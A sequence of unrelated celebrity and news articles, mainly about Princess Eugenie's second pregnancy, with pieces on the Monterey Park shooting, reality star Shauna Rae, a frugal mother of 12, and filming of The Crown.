In the snap, the youngster, who turns two at the start of next month, donned a bright yellow rain mac as he played in the grounds of a country house.

In a statement, Buckingham Palace said: 'Princess Eugenie and Mr Jack Brooksbank are pleased to announce they are expecting their second child this summer.

'The family are delighted and August is very much looking forward to being a big brother.'

While it is not known where the photo of the princess and August was taken, it appears to have been captured in the past few weeks, with frost on the ground.

In the post, the mother-of-one beams down at her young son, who snuggled into her tummy enthusiastically.

She wrote that August, whom she affectionately called Augie, would be 'sharing puddles' and called it 'superb news'

Shortly afterwards, Fergie shared a snap of her grandson August splashing about in the puddles on Instagram, writing she was 'in Granny heaven'

It is not currently known whether she is expecting a boy or a girl.

Eugenie and Jack, 36, began dating in 2011 and confirmed their relationship in an appearance at Royal Ascot that year.

When Eugenie left London to work for an auction house in New York in 2013, the pair maintained a long-distance relationship.

At the time, Jack told The Daily Mail: 'We spend a lot of time on Skype. It's great. We're still very much together.'

In 2015 the princess returned to London where the pair grew ever closer - and they sparked engagement rumours the following year.

The Duchess of York, 61, has previously praised Eugenie's mothering skills during an interview, saying both of her daughters are 'phenomenal' mothers

But it was not until January 2018 that Jack popped the question while the pair were away in Nicaragua.

Then in October that year. Eugenie announced her first pregnancy in a similar fashion, posting on Instagram at the same time the palace announced the news.

When he was born, August weighed 8lb 1oz and the couple broke with tradition by immediately sharing a black-and-white photo to Eugenie's Instagram of them holding their newborn's tiny hand.

She followed the post with three blue hearts after welcoming her son at the luxury private hospital where Meghan Markle also gave birth to her son, Archie.

The royal shared an adorable snap on her Instagram page showing her young son kissing her stomach, and taken by her husband Jack (pictured, the caption on the image)

The Princess has had a busy few months, making a number of appearances at royal events, including attending church in Sandringham at Christmas and attending Kate's carol concert (pictured with her husband Jack)

Eugenie went on to reveal August's name was a touching tribute to Queen Victoria's husband Prince Albert, whose birth name was Franz Albert August Karl Emanuel, and Prince Philip, who died at the age of 99.

She largely kept August out of the limelight for his first two years, but delighted fans when she shared a video of him dancing during the Platinum Jubilee celebrations.

The Duchess of York, 63, previously praised Eugenie's mothering skills during an interview with Hello magazine.

She revealed: 'My children are phenomenal mothers. They were great children but now they're phenomenal mothers. And now, I have these two exceptional grandchildren all in one year.'

Eugenie, the youngest daughter of Prince Andrew and Sarah Ferguson, gave birth to her first son August Philip Hawke Brooksbank, who is 13th in line to the throne, at London's Portland Hospital in February 2021 (pictured with her son at the late Queen Elizabeth's Platinum Jubilee in June 2022)

The princess has had a busy few months, making a number of appearances at royal events including attending church in Sandringham at Christmas and Kate's carol concert.

The couple are also now splitting their time between the UK, where they are subletting Harry and Meghan's Frogmore Cottage home, and Portugal.

It was reported in May last year that they are spending part of their time at the CostaTerra Golf and Ocean Club, a luxury resort an hour south of Lisbon on Portugal's picturesque Atlantic coast.

The move is believed to be because of Jack's job working with property tycoon Mike Meldman, a longstanding business partner of George Clooney.

Eugenie largely kept August out of the limelight for his first two years, but occasionally shared snaps of her little one growing up on her Instagram page

The royal couple, who are currently splitting their time between Portugal and the UK, occasionally share family shots on Eugenie's Instagram page

Eugenie's husband previously worked for tequila brand Casamigos, which the actor helped found. It was sold to Diageo in 2017 for 550million. He is now working for Mr Meldman's Discovery Land Company, which has been developing CostaTerra since 2019.

It comes after Eugenie said she wants her son to be a climate change activist from 'aged two' and has stopped using plastic at home.

At the World Economic Forum in Davos, the 32-year-old said giving birth to her son August in 2021 'totally changed' her outlook on the environment.

She said: 'My son's going to be an activist from two years old, which is in a couple of days.

'Everything is for them, right? Every decision we now make has to be about how August is going to be able to live his life.'

Her comments echo interventions by her cousin Prince Harry, 38, who has described how 'everything changed' when he became a father because he started to question 'what is the point in bringing a new person into this world when they get to your age and it's on fire?'

Princess Eugenie has had a busy few months, continuing her own charity work (left, in October), and attending Kate's carol concert in December (right)

The Duke of York's daughter said that becoming a mother has made her more concerned for communities vulnerable to climate change in a discussion with Reuters IMPACT and Arctic Humanity at Risk Basecamp.

Eugenie, speaking with Reuters editor-at-large Axel Threlfall and Arctic Humanity founder Gail Whiteman, said: 'My son's going to be an activist from two years old, which is in a couple of days. So, he, everything is for them.

'I talked to Peter Thomson, the UN Special Envoy for Oceans and all he says to me is that I do this for my grandchildren. And that's the same.

'Every decision we now make has to be for whether August, what he's going to be able to look at and do and how he's going to live his life.

'But I think also as a mother, you all of a sudden, totally you change, your hormones change, everything changes.

In an interview with Reuters IMPACT and Arctic Humanity at Risk Basecamp, Eugenie said educating her son about the environment is a 'battle'

She also warned of the impact of climate change on vulnerable communities in the interview during the World Economic Forum in Davos

'Like now I'm scared of flying and things like that and I would never be before.'

Prince Andrew's youngest daughter said she views the world differently since becoming a mother, and her concerns about climate change have affected how she lives.

She revealed: 'At home we have no plastic, we try to as much as possible have no plastic and I'm trying to teach him that. But it's a battle.'

But the princess also spoke of her hope for the future of the environment, saying: 'I like to be 'glass half full'.'

Eugenie added: 'I'd rather be that way, but sometimes the facts and the figures and sometimes having the dinners do give you that sort of sense of frustration and doom and gloom.'

And she also warned of the impact of a changing environment on vulnerable communities, adding: 'Modern slavery and human trafficking is a really big issue across the globe.

'There are 49million people estimated in slavery today and we know that when the climate is vulnerable, the most vulnerable people are affected by it.

'And we're going to see that more and more, you know, each time there's a crisis happening, that people are going to be vulnerable and taken into difficult situations.

'So climate goes hand in hand with it really.'
People pay their respects outside the Star Dance Studio in Monterey Park, Calif., Jan. 23, for victims killed in Saturday's shooting. AP-Yonhap



Detectives probing why an elderly Asian immigrant shot dead 11 people as they celebrated Lunar New Year at a dance hall in California are examining whether jealousy or a personal dispute was behind the tragedy, a report said Monday.



Huu Can Tran, 72, used a semi-automatic pistol in a rampage in the Los Angeles suburb of Monterey Park, Saturday night, killing men and women in their 50s, 60s and 70s. One person was shot in the parking lot.



He then drove to another dance studio where police say only the "heroic" actions of a young man who wrestled the weapon off him prevented another slaughter.



Hours later, Tran shot himself dead as police moved in on his white van.



Los Angeles County Sheriff Robert Luna said Monday that Tran, who had been arrested in 1994 for unlawful possession of a firearm, had fired 42 rounds in the attack.



But, he said, much was still unknown.



"We still don't have a motive, but we want to know the motive behind this tragic event," he told reporters.



"What drove a madman to do this? We don't know. But we intend to find out."



Detectives were looking Monday at Tran's previous connections to the two dance studios, with personal relationships a key area of interest, the Los Angeles Times reported.



Monterey Park resident Chester Hong told AFP, Sunday, he believed a domestic dispute over an invitation to a Lunar New Year eve party could be at the root of the attack.



"The wife (was) invited to join the party (but) the husband cannot be invited," he said. "And the husband may be upset and jealous."



Luna confirmed officers had been told Tran may have been known to some of his victims, but said there was currently no evidence he was related to any.





Chinese characters that read "Star Dance" are seen outside the dance club in Monterey Park, Calif., Jan. 23. AP-Yonhap



'Hostile'



On Monday a picture began to emerge of a man who, according to his marriage license, had emigrated from China, and who had been a regular at the Star Ballroom Dance Studio in the past.



Tran's ex-wife told CNN the couple had met there two decades ago when he offered to give her informal lessons.



The woman, who did not want to be named, said they married a short time later, but the relationship did not last, with the divorce finalized in 2006.



She said Tran, who sometimes worked as a truck driver, was not violent, but could be impatient.



A man who said he had previously known Tran said he would complain about dance teachers, who, he claimed, would say "evil things about him," CNN reported.



He was "hostile to a lot of people there," the man told the broadcaster.



Detectives who searched a mobile home where Tran had been living in Hemet, 85 miles (140 kilometers) east of Los Angeles, recovered a rifle, electronics and ammunition, Luna said.



Police in the city said earlier this month Tran had made "fraud, theft, and poisoning allegations involving his family in the Los Angeles area 10 to 20 years ago."





A man lights a candle at the entrance to the Star Ballroom Dance Studio in Monterey Park, California, U.S. Jan. 23, after a mass shooting there during Chinese Lunar New Year celebrations. Reuters-Yonhap
After Princess Eugenie has announced she and her husband Jack Brooksbank are expecting their second child this summer, the line of succession has once again been shifted.

Following the death of Queen Elizabeth II in September last year, the royal family's line of succession moved around as King Charles ascended the throne and the Prince and Princess of Wales assumed their new roles, giving up the titles they previously held as Duke and Duchess of Cambridge.

Now Eugenie, 32, who is currently 11th in line to the throne, will see her second child added into the line of succession, meaning several people behind him or her will be pushed back a step.

With August Brooksbank, who is just about to turn two years old, 12th in line to the throne, the new arrival this summer will take 13th place - bumping their great uncle Prince Edward to 14th in line to the throne.

Princess Eugenie's second pregnancy announcement means Prince Edward, her uncle, moves down to 14th place in the line of succession

Princess Eugenie is the youngest daughter of Prince Andrew (who is eighth in line) and Sarah Ferguson, the Duchess of York. The 32-year-old's older sister Beatrice, 34, is ninth in line while Beatrice's daughter, Sienna Elizabeth Mapelli Mozzi, takes 10th place.

The Duke and Duchess of York's youngest daughter confirmed her pregnancy this afternoon on Instagram in a sweet post.

Princess Eugenie announced her pregnancy on Instagram with a sweet photo of her son August kissing her baby bump in a photo taken by her husband Jack Brooksbank

Prince Edward (pictured with the late Queen Elizabeth in 2021) has been shifted further down the line of succession following Eugenie's pregnancy announcement

She posted a photo of herself standing in a field next to a wooden fence, wrapped up in a hat, wellington boots and a jumper and jacket.

With her baby bump visibly on show, she smiles down at her son August while he wraps his arms around her legs and kisses the baby bump.

The pair are set against a wintry backdrop with the sun low in the sky.

Alongside the photo she wrote: 'Were so excited to share that there will be a new addition to our family this summer.'

It is not currently known whether she is expecting a boy or a girl.

The Princess has had a busy few months, making a number of appearances at royal events, including attending church in Sandringham at Christmas and attending Kate's carol concert.

Eugenie and her husband Jack first began dating in 2011 and confirmed their relationship in an appearance at Royal Ascot that same year.

When Eugenie left London to work for an auction house in New York in 2013, the pair maintained a long distance relationship.

At the time, Jack told The Daily Mail: 'We spend a lot of time on Skype. It's great. We're still very much together.'

In 2015 the Princess returned to London where the pair grew ever closer - and they sparked engagement rumours the following year.

But it was two more years before Jack popped the question while the pair were away in Nicaragua in January 2018.

Eugenie tied-the-knot with Jack in October 2018, before they welcomed their first child, August, in February 2021.

She announced her first pregnancy in a similar fashion, posting a snap on Instagram at the same time the palace announced the news.

He weighed 8lbs 1oz and the couple broke with tradition by immediately sharing a black and white photo to Eugenie's Instagram of their baby boy, showing them holding his tiny hand.

She followed the post with three blue hearts after welcoming her son at the luxury private hospital where Meghan also gave birth to her son, Archie.

Eugenie largely kept August out of the limelight for his first two years, but delighted fans when she shared a video of her son dancing during the Platinum Jubilee celebrations.

It comes after Eugenie said she wants her son to be a climate change activist from 'aged two' and has stopped using plastic at home.

At the World Economic Forum in Davos, the 32-year-old said giving birth to her son August in 2021 'totally changed' her outlook on the environment.

She said: 'My son's going to be an activist from two years old, which is in a couple of days.

'Everything is for them, right? Every decision we now make has to be about how August is going to be able to live his life.'
He clapped back at haters who called their relationship 'creepy' and 'weird'

A man she dated, named Dan Swygart, revealed that they decided to be 'friends'

A man who dated a 23-year-old woman trapped in the body of an eight-year-old girl has given an update on their romance, explaining that they're now focused on building their 'friendship' after he was branded a 'creep' and accused of only being attracted to her 'because she looks like a kid.'

At just three-feet, 10 inches tall and weighing 50 pounds, Shauna Rae Lesick is the average size of a third-grader.

Her stunted growth is a side effect of brain cancer treatment that she received as an infant, and unfortunately, her disability has made it hard for her to find love.

However, the 23-year-old recently connected with a 26-year-old man from Wales named Dan Swygart, and their meet-up was documented in a recent episode of her TLC reality series, I Am Shauna Rae.

But after Dan appeared in the show, he was bombarded by a slew of backlash from people who questioned his motives, and called the pairing 'weird' and 'disturbing' due to her 'childlike appearance.'

Now, he has clapped back at the haters, while admitting that they've decided that they're better off as friends rather than romantic partners.

A man who dated a 23-year-old woman trapped in the body of an eight-year-old girl has given an update on their romance, explaining that they're now focused on building their 'friendship'

Shauna Rae Lesick, who is just three-feet, 10 inches tall and weighs 50 pounds, recently connected with a 26-year-old man from Wales named Dan Swygart over social media

They went on a series of dates, which were documented in her TLC show, I Am Shauna Rae, but Dan received a slew of hate afterwards. Now, he has responded to his critics

He shared an Instagram video addressing the backlash, and he admitted that they've decided that they're better off as friends rather than romantic partners

'Me and Shauna are just good friends, we're getting to know each other,' he explained in a recent Instagram video.

'But I think it's absolutely disgusting, the attitude of some people. She's been through so much in life.

Shauna's stunted growth is a side effect of brain cancer treatment that she received as an infant. She is seen center with some friends

'She survived cancer as a child, she's always felt different and was treated different by society. How dare you take away her right to have a connection, a friendship, a relationship with someone else?

'Who are you to say that she can't have that? I am absolutely disgusted by some people's attitudes towards her and my friendship with her.'

Dan previously explained that he reached out to Shauna after watching the first season of her show and becoming 'inspired by her emotional strength.'

He then sent her some flowers and a card saying: 'Go live your best life. Wishing you all the happiness you deserve.'

They eventually started messaging on social media, before he flew out to her hometown in Long Island, New York, where they went on a series of dates, all of which, were showcased in the show.

In Dan's Instagram video, he admitted that 'despite all the hate,' some 'amazing things' have come out of his appearance in the series.

'Me and Shauna are just good friends,' Dan said in the video. 'But I think it's absolutely disgusting. How dare you take away her right to have a connection with someone else?'

Dan said he hoped others who may be suffering from a disability could watch the show and feel hopeful that they too could form a 'connection with someone'

After connecting online, Dan flew to New York to meet Shauna last year. They went to an aquarium, an escape room, and made sushi together

He said he hoped others who may be suffering from a disability could watch it and feel hopeful that they too could form a 'connection with someone.'

'I'm so proud to have had that positive impact on the world,' Dan continued.

'So many people who have disabilities or they have friends and family who have disabilities have reached out and said, "Thank you for showcasing that."

'It's OK to build a connection of friendship with someone who's different by society standards.

'It's given so many people hope that despite them being different, they too can find an amazing friendship and connection with someone.'

During the episode, Shauna gushed about how 'similar' she and Dan - who has a knack for traveling and is often jetting off on various vacations - were, explaining that it was his adventures that 'piqued her interest.'

The pair spent their first day together at an aquarium and escape room, and were joined by her 18-year-old half-sister, Rylee.

In another part of the show, Dan came over to her house to make sushi rolls. She introduced him to her mother and stepfather, Patty and Mark Schrankel, who soon started interrogating him.

Patty asked him things like how often they talk, which Dan said was almost daily at that point, and what his intentions were.

Although he looked visibly uncomfortable during the questioning, Dan was open about how he wanted to take their daughter around the world with him on his travels.

After the episode came out, he was branded a 'creep' and accused of only being attracted to her 'because she looks like a kid' on social media

'I think Dan would be a really good match for Shauna because he's very smart [and] adventurous,' her stepfather told the camera afterwards.

'Shauna's smart but not very adventurous. I think he could pull her out of [her] comfort zone but still make her safe.'

'I'm not really irritated by my family when they bring up those future questions,' Shauna said in her confessional.

'I haven't talked about it with Dan. I'm kind of letting it go as it may, but it's nice kind of try to see if he can answer it.

'I haven't actually really thought about if Dan and I were in a relationship and how that would look.

'I assume that we would probably try long distance, but I've been in a long-distance relationship and it's not my cup of tea.'

Shauna was six months old when she was diagnosed with an aggressive brain tumor.

She had surgery and underwent three years of chemotherapy - and while the treatment was successful, it made her pituitary gland - which monitors and regulates many bodily functions by producing hormones - almost dormant, stunting her growth.

She was able to grow another eight inches with the help of synthetic hormone injections, but when she was 16, her doctor told her that her bones had fused and she wasn't going to grow anymore.

In a video shared to Instagram in December, Dan first defended his relationship with Shauna, insisting that he built it over 'who she is an individual,' rather than her appearance

In the clip, Dan admitted that he knew he was going to get 'some hate' when he agreed to appear on the series, but called it 'absolutely disgusting' and 'dehumanizing' to Shauna

'You are dehumanize her, which is absolutely disgusting,' he said. 'She is a human being. She deserves to have connections with whoever she wants.' Shauna is seen with a friend

Dan's visit to the Dtates ended with him hanging out with her while she bartended a charity event. They shared an awkward slow dance before he left.

'I'm sure that I'll see Dan again,' she told the camera. 'He's coming back.'

After the episode came out, many people flooded the comment section on YouTube with their thoughts about Dan and Shauna's relationship, with some people calling it 'concerning,' 'uncomfortable,' 'creepy,' and 'not right.'

'Sorry but the fact that he spotted her online and contacted her on purpose makes me feel uncomfortable since looks are usually the first and most important impression you get online,' one person wrote.

'It would be totally different if they got to know each other by coincidence in real life and he got to love her for her character and was sort of seeing past her childlike appearance.

'Dan almost seems especially attracted to her BECAUSE she is tiny which is concerning. I am sorry.'

'I'm sorry, but any man that wants to date her - there is definitely something not right with him,' another added.

'Yes, she is 23, but she looks and talks like an eight-year-old. She also does not act like a mature woman. She is childlike.

'If any man or woman can honestly say that they can see her as a "sexual woman," they are either lying or sick. PERIOD.'

During the episode of the show, Shauna gushed about how 'similar' she and Dan - who has a knack for traveling - were, explaining that Dan's adventures are what 'piqued her interest'

In one part of the show, Dan came over to her house to make sushi rolls. She introduced him to her mother and step-father, Patty and Mark Schrankel, who couldn't resist interrogating him

In the show, Shauna (seen throughout the series) said that she wasn't interested in a 'long-distance relationship' and since Dan lives in the UK, she wasn't sure what was next for them

'Yeah this is super strange and the parents should watch out ... Why would he go out of his way to be with someone who still at the most looks 11 years old?' asked someone else.

'Im a guy and Shauna seems very naive about the world and there are men who are very charismatic or good looking that can use people.

'It's OK to build a connection of friendship with someone who's different by society standards,' Dan said in his Instagram video. Shauna is pictured

'I hope hes legit and if he is she is very very lucky since predatory men are more likely to be into her.'

'Guy 100 per cent has a fetish. Despite how nice of a young woman she may be, she STILL looks like a child,' a different user said.

'I dont know about this guy I still think its creepy,' agreed another viewer, while a sixth message said, 'He looks at her a bit weird. I think he's got a weird kink. Idk.'

'Oh yeah, hes a creep who just wanted to be on TV,' someone else wrote.

'Yes, she is an adult, but she looks like a kid. Her body looks like a kid. It's sad that this is probably what most guys that want to date her are like, but it's the truth,' another person said.

In a video shared to Instagram back in December after the episode first aired, Dan defended his date with the reality star, insisting that he built his relationship with her over 'who she is an individual,' rather than her appearance.

'It's very important to remember that Shauna is an incredible 23-year-old woman who has a disability,' he said.

Shauna was six months old when she was diagnosed with an aggressive brain tumor. She is seen as a baby

She underwent three years of chemotherapy - and while the treatment was successful, it made her pituitary gland - which produces hormones - almost dormant, stunting her growth

When she was 16, her doctor told her that her bones had fused and she wasn't going to grow anymore. She is seen recently

After Dan's visit ended, Shauna told the camera, 'I'm sure that I'll see him again. He's coming back,' however, it now seems like they're focused on being friends. She is seen recently

'So as you are building a connection with her, it's important to acknowledge her disability and look past that and build it with who she is an individual.

'She's this incredible, inspiring 23-year-old woman who just happens to be a little bit short.'

Dan also admitted that he knew he was going to get 'some hate' when he agreed to appear on the series, but called it 'absolutely disgusting' and 'dehumanizing' to Shauna.

'As soon as you say that she can't have a real-world connection with someone else, you dehumanize her, which is absolutely disgusting,' he continued.

'She is a human being. She deserves to have relationships and connections with whoever she wants.

'And I think some people aren't emotionally mature enough to understand that you can have a deep connection based on personality rather than just on looks.'

His parents, Helen and Steve, who live in a small rural village in North Wales, also leapt to his defense afterwards, telling DailyMail.com exclusively that Dan and Shauna's relationship was not romantic despite them going on dates in the show.

Helen said: 'Daniel rang me and told me the story has gone everywhere. They are just friends. There is no relationship. They are friends.'

'He has appeared in their show and that's the extent of it. That's it, it's as simple as that,' Steve added.

'He looks at her and thinks she is a tremendous person despite her disability, she's only small.'
It was announced today that Princes Eugenie, 32, is expecting her second child with husband Jack Brooksbank and the royal is due to give birth in the summer

Princess Eugenie's happy news that she's expecting a second child with her husband Jack Brooksbank came this morning in the way that royal stories have been announced for centuries, via an official Palace statement.

However, moments later, Eugenie took to Instagram to share the news that her son August, two, is to have a younger sibling in the summer in a much less formal way...via a cute Instagram photo of mother and son on a sunny winter's day.

The casual snap came with a caption: 'Were so excited to share that there will be a new addition to our family this summer.'

Scroll down for video

Princess Eugenie quickly followed a formal statement on her second pregnancy with an Instagram post, showing her son August hugging her blossoming bump, revealing she's due to give birth in the summer

There was also a camera emoji and the words 'by Jack', Jack being financier Jack Brooksbank, who Eugenie wed in October 2018.

It's not the first time the daughter of the Duke and Duchess of York has broken her big personal news this way - she took a similar approach in 2020 when she announced that she was expecting her first child.

The royal shared that her husband, financier Jack Brooksbank had taken the snap

Posting a photo of baby slippers on Instagram, she wrote: 'Jack and I are so excited for early 2021'.

And in 2020, fellow royal Mike Tindall used another platform, his rugby podcast, to announce that his wife Zara, was pregnant with their third child.

The former England rugby star was welcomed with cheers from his rugby mates as he announced a 'third Tindall' was on its way during his podcast, The Good, The Bad & The Rugby.

Tindall told co-hosts Alex Payne and James Haskell: 'It's been a good week for me, had a little scan last week - third Tindall on its way.'

In 2020, Mike and Zara Tindall chose a podcast to reveal they were expecting third child, Lucas

The couple's previous two pregnancies had been formally announced by Buckingham Palace, but the pair (pictured at Harry and Meghan's 2018 wedding) opted for a more low-key approach with their youngest child

The low-key conversational reveal was a far cry from the previous official statements released by the Palace to announce Zara's previous pregnancies.

Princess Eugenie's older sister Beatrice doesn't have an Instagram account but is proactive on Twitter, and has shared her personal news in under 280 characters in recent years.

When the 34-year-old became engaged to property tycoon Edoardo 'Edo' Mapelli Mozzi in September 2019, the royal covered all bases.

Alongside a glamorous engagement photoshoot, there was also an official statement, and a tweet, with Beatrice writing: 'I'm excited to announce my engagement to Edoardo'.

When Princess Beatrice became engaged to property tycoon Edoardo Mapelli Mozzi, the royal covered off all bases - including a formal photoshoot, tweets and a statement

Taking to Twitter, Beatrice tweeted: 'I'm excited to announce my engagement to Edoardo'.

Old school? The official statement announcing Princess Beatrice's engagement in September 2019

On Twitter in 2021, the couple announced they'd named their daughter Sienna

When the couple announced the name of their firstborn baby daughter, Sienna Elizabeth, Beatrice once again took to Twitter, with a photo of her newborn's feet.

Sienna was born weighing 6lbs 2oz at 11.42pm on 18th September 2021 at the Chelsea and Westminster Hospital, in London.

Beatrice penned: 'We are delighted to share that we have named our daughter Sienna Elizabeth Mapelli Mozzi. We are all doing well and Wolfie is the best big brother to Sienna.'

Today, it was Beatrice's younger sister to reveal the latest arrival in the York family. Buckingham Palace said in a statement: 'Princess Eugenie and Mr Jack Brooksbank are pleased to announce they are expecting their second child this summer.

'The family are delighted and August is very much looking forward to being a big brother.'

This afternoon, Eugenie's mother, Sarah Ferguson, took to Instagram too, sharing a snap of her grandson August splashing about in the puddles, writing she was 'in Granny heaven.'
A mother-of-12 has revealed her thrifty way of saving hundreds of dollars by taking part in a 'no spend' challenge.

Supersaver Courtney Rogers has refused to spend money on anything but the bare essentials for her family for the entire month of January.

The 38-year-old, from Santa Fe, New Mexico, has decided she will limit herself to only purchasing minimal groceries and has banned any luxuries in a bid to keep her outgoings down after the festive period.

So far, the stay-at-home mother has been able to keep meal costs at under $300 to feed her family for the entire week.

Courtney Rogers and her church pastor husband, Chris, became a real-life 'Cheaper by The Dozen' family after their youngest was born nine months ago (pictured together)

Supersaver Courtney has refused to spend money on anything but the bare essentials (the family shopping for food is pictured)

Courtney, from New Mexico, has banned any luxuries in a bid to keep her outgoings down after the festive period (the family pictured at Christmas)

Courtney and her 35-year-old church pastor husband, Chris, became a real-life 'Cheaper by The Dozen' family after their youngest was born nine months ago.

The couple, who previously revealed they were not planning any more pregnancies, said that they had never set out to have a massive family when they got married in 2008.

But now, with such a large brood to feed, the parents are adamant on reigning it in this month  enforcing a harsh ban on any unnecessary outgoings.

'The idea is a spending freeze after the holidays are over,' Courtney told NeedToKnow.Online.

'It involves no eating out or takeaways. You're basically just purchasing any groceries you don't have at home.

'There are no movie rentals or signing up to new streaming services.

'Clothing purchases are a no too. No outings that cost money, and no fun purchases are allowed such as toys and home decor. The exception is any emergencies that may come up.'

During her no spend weeks, Courtney puts a ban on her spending except for the bare necessity such as basic groceries (the family pictured at meal time)

Being a mother-of-12, Courtney has to carefully plan her time to take care of the brood and will often cook with them (pictured)

Courtney and Chris live on a 12-acre farm with their children: Clint, 12; Clay, 11; Cade, 10; Callie, nine; Cash, eight; Colt and Case, seven; Calena, five; Caydie, four; Caralee, three; Caris, two; and baby Cambria (pictured together)

Courtney and Chris live on a 12-acre farm with their children.

How Courtney Rogers feeds a family of 12 children with her Supersaver Menu Week one Sunday: Ham, black-eyed peas, collards and cornbread Monday: Vegan nacho fries Tuesday: Egg and vegetable bake, blueberry crumble Wednesday: Hot dogs and fruit cups Thursday: Chicken quesadillas and fruit Friday: Pork roast and vegetables Saturday: Spaghetti and salad Total for the week: $281.43 Week two Sunday: One-pot quinoa, Mexican dip and fruit Monday: Party foods Tuesday: Creamy chicken noodle soup with bread Wednesday: Orange chicken, rice, vegetables and apple sauce Thursday: Spaghetti bake and salad Friday: Homemade pancakes, eggs and cooked pears Saturday: Roast and vegetables Total for the week: $218.44 Week three Sunday: Pork chili, rolls and fruit Monday: Bean burritos and fruit Tuesday: Jambalaya Wednesday: Hot dip and apple sauce Thursday: BBQ ribs, homemade mac and cheese, and mixed vegetables Friday: Pizza bagels and fruit Saturday: Egg meal Total for the week: $263.72 Advertisement

The couple have six boys and six girls - Clint, 12; Clay, 11; Cade, 10; Callie, nine; Cash, eight; Colt and Case, seven; Calena, five; Caydie, four; Caralee, three; Caris, two; and baby Cambria - who they drive around in a 15-seater van.

The giant family also share their home with over 200 farm animals including pigs, sheep and chickens.

During her no-spend weeks, Courtney puts a ban on her spending except for the bare necessity such as basic groceries.

However, the mother-of-12 admits that her family can go through six loaves of bread a week and 80 pints of milk.

She added: 'My goal is to do one big shop a week however, we usually have at least one more quick stop for more milk, bread and fresh produce.

'This month I'm trying to come up with 31 different suppers.

'That includes "meatless Monday" meals, and using the eggs and pork from our farm.'

Courtney, who now has more than 38,000 followers on Instagram, says that the festive period is an expensive time in her household and her 'no-spend January' plan is a great way to top her finances back up.

'Christmas this year was quite busy. We had just come back from a three-and-a-half-week holiday visiting family and the beach,' she said.

'We also replaced the flooring in our living areas. Even so, we still managed to have a good time.

'We budgeted about $100 per child for their presents.

'This did not include their stockings, new pajamas, and new church outfit.

'We had a traditional ham dinner on Christmas Eve, and invited widowers and lonely people to join us.

'Our meal on Christmas Day was Mexican food that included our homemade tamales.'

Since becoming a mother, Courtney, who homeschooled her brood, has only spent seven months of her life without being pregnant.

Being a mother-of-12, she has to carefully plan her time to take care of the adorable gang.

Speaking about the family's daily routine, she added: 'A typical day is breakfast and school starting around 8am.

The couple (pictured together), who previously revealed they were not planning any more pregnancies, said that they had never set out to have a massive family when they got married in 2008

Since becoming a mother, Courtney has only spent seven months of her life without being pregnant (the family pictured together)

The mother-of-12 says that her family can go through six loaves of bread a week and 80 pints of milk (family food shopping pictured)

The family (pictured on the farm) also share their home with more than 200 farm animals including pigs, sheep, and chickens

'We continue school until around 11am and then break for clean-up and lunch. After lunch the little kids take a nap and everyone else has quiet time.

'When nap time is over, we finish school, do animal chores, and prepare supper.

'The rest of the day is usually free time and house clean up. We try to put the kids to bed around 8 or 8.30pm.

'The babies go to sleep and the older kids do something quietly, or read in their rooms.'
Filming for the sixth series of The Crown is well underway as the scene has been set in Winchester Cathedral for recreation of the Queen Mother's funeral - while Ginger Spice appeared to make a cameo too.

Photos from the set showed what is thought to be a replica of the Queen Mother's coffin, while Dominic West (who plays King Charles) was seen wearing a morning suit as he joined with actors portraying Prince William and Prince Harry to film the emotional scenes from 2002 after the Queen Mother died at the age of 101.

Dominic was seen at the church this afternoon wearing a morning suit, alongside two young actors who appeared to be playing William and Harry in the series. A Geri Halliwell lookalike was also spotted onset, dressed in Ginger Spice's trademark Union Jack outfit with her hair in bunches.

The sixth series will depict the late 1990s until the early 2000s and are expected to cover the deaths of Princess Diana, the Queen Mother and Princess Margaret. As the Spice Girl strutted onset, the new series may well also feature Geri Halliwell and Mel B's breaking of royal protocol during a Prince's Trust performance in 1997.

Winchester Cathedral was transformed into Westminster Abbey this afternoon as The Crown series six production got underway filming scenes of the Queen Mother's Funeral in 2002. Pictured: A coffin meant to be that of the Queen Mother

Ginger Spice and Scary Spice each kissed King Charles on the cheek during the performance at the charity gala, before referring to him as 'very sexy' and patting him on the bottom.

The former Spice Girl later told The Times: 'I didn't pinch Prince Charles's bum, as was reported. I patted it. Patting him on the bottom was against royal protocol but we're all human.'

Dominic West joined actors portraying Prince William and Prince Harry as they donned morning suits to film The Crown's version of a royal funeral today

A Geri Halliwell lookalike arrived on set this afternoon dressed in a Union Jack dress and boots evoking Ginger Spice's iconic look

Geri Halliwell (pictured with King Charles, Mel C, Mel B and Emma Bunton) cheekily patted the King's bottom in a 1997 charity gala performance for the Prince's Trust

There were a number of younger actors on set today, who are believed to be depicting Prince William and Prince Harry in the drama

Meanwhile there were also a number of extras on the set earlier today, many of whom were dressed in black ensembles appropriate for a funeral

'It was the premiere of our film, Spice World, in the late nineties. There was a lot of nervous energy  young women, happy antics.'

As the scene is set for series six, Winchester Cathedral is being used as a substitute for Westminster Abbey, where the Queen Mother's funeral was held in 2002.

The cathedral's website stated it was closed to visitors today and will remain closed tomorrow, when it is believed filming is taking place.

The cast and crew filmed Princess Diana's funeral procession in October, the Royal Standard is draped over the coffin on the gun carriage  just as it was in real life  while actors dressed in the ceremonial uniform of the Welsh Guards march alongside.

The scene depicting a grief-stricken William and Prince Harry  then aged 15 and 12  was filmed in secrecy at a disused RAF base.

The car accident that took Princess Dianas life occurred shortly after midnight on August 31, 1997, in Paris.

Diana was alive when she was rushed to hospital, but eventually succumbed to her injuries and was pronounced dead hours later.

Dominic, who played Charles in the fifth series and is set to reprise the role for the sixth, chatted with a member of the crew on set

Apparently cold, Dominic wrapped up in a large puffer jacket as he spoke with a member of the crew who appeared to be tweaking his costume

In scenes depicting a royal funeral which were filmed at the Winchester Cathedral, Dominic appeared relaxed

The actor put his hands into his pockets as he wrapped up warm in a puffer jacket against the cool weather today

The Queen was vacationing with William and Harry, ages 15 and 12 at the time, at their Balmoral estate in Scotland at the time. In the middle of the night, she was informed of the accident through her secretary, but she decided to not wake the boys.

In December it emerged that crew members were reportedly disgusted that actress Elizabeth Debicki was made to lie in an open coffin and pretend to be the dead Princess Diana.

Shocking scenes from the script for the next season of the drama may start a fresh row for the streaming giant.

The sixth season of the show will feature medics covered in blood trying to save Diana, a distraught Prince Charles after seeing the body, and Prince William and Prince Harry at the funeral, The Sun reported.

The actor could also be seen picking up a cup of coffee as he walked across the cathedral set earlier today

Other extras donned fascinators and hats to complement their black outfits ahead of the funeral

Many actors were dressed in morning suits at the cathedral as they appeared to film a royal funeral

As well as the mourners, others were dressed as guards for the Queen, adding to the ceremony of the event

One actor appeared relaxed as he walked across the set while dressed in the black suit jacket and grey trousers

There are fears over the impact the scenes depicting Princess Diana's final moments before her fatal Paris car crash in 1997 will have on the princes.

